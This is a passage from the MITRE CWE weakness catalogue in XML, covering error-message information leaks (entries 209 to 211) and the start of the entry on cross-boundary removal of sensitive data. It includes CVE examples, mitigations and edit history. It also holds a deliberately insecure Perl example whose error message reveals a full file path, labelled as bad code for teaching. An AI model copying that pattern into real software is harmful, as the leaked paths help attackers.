				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2049</Observed_Example_Reference>
					          <Observed_Example_Description>POP3 server reveals a password in an error message
						after multiple APOP commands are sent. Might be resultant from another
						weakness.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5172</Observed_Example_Reference>
					          <Observed_Example_Description>Program reveals password in error message if
						attacker can trigger certain database errors.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4638</Observed_Example_Reference>
					          <Observed_Example_Description>Composite: application running with high
						privileges allows user to specify a restricted file to process, which
						generates a parsing error that leaks the contents of the
						file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1579</Observed_Example_Reference>
					          <Observed_Example_Description>Existence of user names can be determined by
						requesting a nonexistent blog and reading the error
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1409</Observed_Example_Reference>
					          <Observed_Example_Description>Direct request to library file in web application
						triggers pathname leak in error message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3060</Observed_Example_Reference>
					          <Observed_Example_Description>Malformed input to login page causes leak of full
						path when IMAP call fails.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0603</Observed_Example_Reference>
					          <Observed_Example_Description>Malformed regexp syntax leads to information
						exposure in error message.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Web Application Security Consortium</Reference_Author>
					          <Reference_Title>Information Leakage</Reference_Title>
					          <Reference_Link>http://www.webappsec.org/projects/threat/classes/information_leakage.shtml</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Brian Chess</Reference_Author>
					          <Reference_Author>Jacob West</Reference_Author>
					          <Reference_Title>Secure Programming with Static Analysis</Reference_Title>
					          <Reference_Section>Section 9.2, page 326.</Reference_Section>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2007</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-8">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 16, "General Good Practices." Page
						415</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 11: Failure to Handle Errors Correctly." Page
						183</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 12: Information Leakage." Page 191</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 16 - Information Exposure Through an Error
						Message</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-17</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/17/top-25-series-–-rank-16-–-information-exposure-through-an-error-message/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Overly Verbose Error Messages", Page
						75.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Accidental leaking of sensitive information through error
						messages</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Information Leakage and Improper Error
						Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow exceptions to expose sensitive
						information</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not allow exceptions to transmit sensitive
						information</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR12-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>214</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>215</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>463</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>54</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description, Name,
						Observed_Examples, Other_Notes, Potential_Mitigations, Relationships,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Name,
						Potential_Mitigations, References,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Detection_Factors, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2010-09-09</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Error Message Information
						Leaks</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-12-28">Error Message Information
						Leak</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="210" Name="Information Exposure Through Self-generated Error Message" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software identifies an error condition and creates its own
					diagnostic or error messages that contain sensitive
					information.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Attack: trigger error, monitor responses.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-40">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Debugging information should not make its way into a production
							release.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses custom configuration files for each user in
						the application. It checks to see if the file exists on the system before
						attempting to open and use the file. If the configuration file does not
						exist, then an error is generated, and the application exits. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$uname = GetUserInput("username");</Code>
							              <Code/>
							              <Comment># avoid CWE-22, CWE-78, others.</Comment>
							              <Code>if ($uname !~ /^\w+$/)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>ExitError("Bad hacker!") ;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>$filename = "/home/myprog/config/" . $uname . ".txt";</Code>
							              <Code>if (!(-e $filename))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>ExitError("Error: $filename does not exist");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If this code is running on a server, such as a web application, then
							the person making the request should not know what the full pathname of
							the configuration directory is. By submitting a username that is not
							associated with a configuration file, an attacker could get this
							pathname from the error message. It could then be used to exploit path
							traversal, symbolic link following, or other problems that may exist
							elsewhere in the application. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1745</Observed_Example_Reference>
					          <Observed_Example_Description>Infoleak of sensitive information in error message
						(physical access required).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 12: Information Leakage." Page 191</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Overly Verbose Error Messages", Page
						75.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Product-Generated Error Message Infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Name, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Product-Generated Error
						Message Information Leak</Previous_Entry_Name>
				           <Previous_Entry_Name Name_Change_Date="2012-10-30">Information Exposure Through Generated Error Message</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="211" Name="Information Exposure Through Externally-generated Error Message" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs an operation that triggers an external
					diagnostic or error message that is not directly generated by the software, such
					as an error generated by the programming language interpreter that the software
					uses. The error can contain sensitive system information.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is inherently a resultant vulnerability from a weakness within the
						product or an interaction error.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Often" Language_Name="PHP"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>PHP applications are often targeted for having this issue when the PHP
						interpreter generates the error outside of the application's control.
						However, it's not just restricted to PHP, as other languages/environments
						exhibit the same issue.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Configure the application's environment in a way that prevents errors
							from being generated. For example, in PHP, disable
							display_errors.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-40">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Debugging information should not make its way into a production
							release.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Handle exceptions internally and do not display errors containing
							potentially sensitive information to a user. Create default error pages
							if necessary.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>The best way to prevent this weakness during implementation is to
							avoid any bugs that could trigger the external error message. This
							typically happens when the program encounters fatal errors, such as a
							divide-by-zero. You will not always be able to control the use of error
							pages, and you might not be using a language that handles
							exceptions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1581</Observed_Example_Reference>
					          <Observed_Example_Description>chain: product does not protect against direct
						request of an include file, leading to resultant path disclosure when the
						include file does not successfully execute.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1579</Observed_Example_Reference>
					          <Observed_Example_Description>Single "'" inserted into SQL query leads to
						invalid SQL query execution, triggering full path disclosure. Possibly
						resultant from more general SQL injection
						issue.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0459</Observed_Example_Reference>
					          <Observed_Example_Description>chain: product does not protect against direct
						request of a library file, leading to resultant path disclosure when the
						file does not successfully execute.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0443</Observed_Example_Reference>
					          <Observed_Example_Description>invalid parameter triggers a failure to find an
						include file, leading to infoleak in error
						message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0433</Observed_Example_Reference>
					          <Observed_Example_Description>Various invalid requests lead to information leak
						in verbose error messages describing the failure to instantiate a class,
						open a configuration file, or execute an undefined
						function.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1101</Observed_Example_Reference>
					          <Observed_Example_Description>Improper handling of filename request with
						trailing "/" causes multiple consequences, including information leak in
						Visual Basic error message.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Error handling</Functional_Area>
			      </Functional_Areas>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Product-External Error Message Infoleak</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Enabling_Factors_for_Exploitation,
						Functional_Areas, Observed_Examples, Other_Notes, Potential_Mitigations,
						Relationship_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2011-03-29">Product-External Error
						Message Information Leak</Previous_Entry_Name>
				           <Previous_Entry_Name Name_Change_Date="2012-10-30">Information Exposure Through External Error Message</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="212" Name="Improper Cross-boundary Removal of Sensitive Data" Status="Incomplete" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>The software uses a resource that contains sensitive data, but
					it does not properly remove that data before it stores, transfers, or shares the
					resource with actors in another control sphere. </Description_Summary>
				        <Extended_Description>
					          <Text>Resources that may contain sensitive data include documents, packets,
						messages, databases, etc. While this data may be useful to an individual
						user or small set of users who share the resource, it may need to be removed
						before the resource can be shared outside of the trusted group. The process
						of removal is sometimes called cleansing or scrubbing. </Text>
					          <Text>For example, software that is used for editing documents might not remove
						sensitive data such as reviewer comments or the local pathname where the
						document is stored. Or, a proxy might not remove an internal IP address from
						headers before making an outgoing request to an Internet site. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
